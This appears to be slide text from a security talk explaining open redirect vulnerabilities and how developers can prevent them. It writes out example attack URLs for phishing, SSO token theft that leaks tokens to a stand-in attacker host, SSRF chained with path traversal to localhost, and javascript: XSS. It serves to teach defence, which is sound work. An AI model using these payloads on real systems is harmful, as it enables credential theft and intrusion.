"Open Redirects"

An underestimated vulnerability

The basics

What are open redirects?

- An open redirect is an endpoint on a vulnerable website, that redirects to an attacker-controllable location
- There are different types of redirects
  - Header Based Redirects
    - Location: https://www.attacker.com/
  - Meta tag
    - <meta http-equiv = "refresh" content = "0;url=https://www.attacker.com/" />
  - DOM-Based Redirects
    - window.location = 'https://www.attacker.com'
- There are multiple ways how attackers can abuse Open Redirect vulnerabilities

Scenario #1

Phishing

- Few ways to check legitimacy of mails for average user
- Hostname of external links is an indicator
  - www.facebook.com.attacker.com -> malicious
  - www.facebook.com -> legitimate?
    - Not always!
- There might be an open redirect
  - https://www.facebook.com/login?target=https://www.facebook.com.attacker.com
    - Redirecting the user to the url in the target parameter, if they are logged in
  - The attacker domain could be hidden using URL encoding
- www.facebook.com.attacker.com may host a login page that looks like the one from facebook
- Might trick you into giving away your facebook credentials

Scenario #2

Token Theft (Part 1)

- In some cases it's possible to steal tokens using Open Redirect vulnerabilities
- A simplified example with Single Sign On

- https://sso.victim.com/signin?target=https://victim.com/auth
  - Auth server checks whether the target domain is in a whitelist
  - The user types in their username and password
  - If the authentication was successful, server sends an access token to the specified target
  - https://victim.com/auth?token=1234567890

- We can use ?target=https://victim.com/redirect?url=https://attacker.com/log

Scenario #2

Token Theft (Part 2)

- We can use ?target=https://victim.com/redirect?url=https://attacker.com/log
- The server will redirect the user to the target and append the token to the url
- https://victim.com/redirect?token=1234567890&url=https://attacker.com/log
    - The above endpoint has an open redirect
    - It will redirect to https://attacker.com/log
- The attacker can now check their logs for incoming HTTP requests
- The URL that initiated the redirect will be present in the Referer header
    - Referer: https://victim.com/redirect?token=1234567890&url=https://attacker.com/log
- Therefore the victim's access token is now known to the attacker

Scenario #3

Server Side Request Forgery

- Open Redirects can be useful for abusing Server Side Request Forgery
- Attacker wants to interact with a service on http://localhost:8080
- The victim server may fetch some external resources with a required url prefix
  - https://some-image-service.com/api/v1/get-image/**[GUID]**
  - The attacker only controls the GUID parameter -> https://victim.com/show-image/?guid=**[INPUT]**
- There is an open redirect on https://some-image-service.com/go?url=https://attacker.com
- Chaining them together with a path traversal we get the following URL
  - https://victim.com/show-image/?guid=../../../../../go?url=http://localhost:8080

Scenario #4

Redirecting to certain protocol handlers

- Often (open) redirects let you specify protocols that were initially blacklisted
  - E.g. ftp:// gopher:// netdoc:// and so on
- There is a standard situation in DOM-Based Redirects with a serious impact
  - Cross-Site Scripting (XSS)!
- Redirecting to a URL like javascript:**[code]** lets you execute arbitrary JavaScript
- https://victim.com/redirect.html?url=javascript:alert(document.domain)
  - This would execute the alert function under the context of the victim's website
- This does not work with header or meta-tag based open redirects

Compatibility

Which redirect works for which attack?

Redirect Type	Phishing	Token Theft	SSRF	XSS
DOM-Based	✔	✔	✔✘*	✔
Header-Based	✔	✔	✔	✘
Meta-Based	✔	✔	✔✘*	✘

* Depends on the vulnerability.
SSRF via headless browsers might still be possible with these.

DEMO TIME

How To Avoid Open Redirect Issues?

There are different ways to protect your site as a developer

- Have a whitelist of possible redirect locations
  - E.g. only allow /dashboard /profile etc.
  - redirect to a default location for unknown input
- Generate a unique ID for each possible redirect location
  - /redirect?target=4 -> Location: https://www.example.com/dashboard
  - No user-controllable input
- Add a Referrer-Policy to avoid token leaks as defense in-depth
- Add an additional step
  - Sites like Google or Hackerone will sometimes warn you if you get redirected to an external site
  - https://google.com/amp/netsparker.com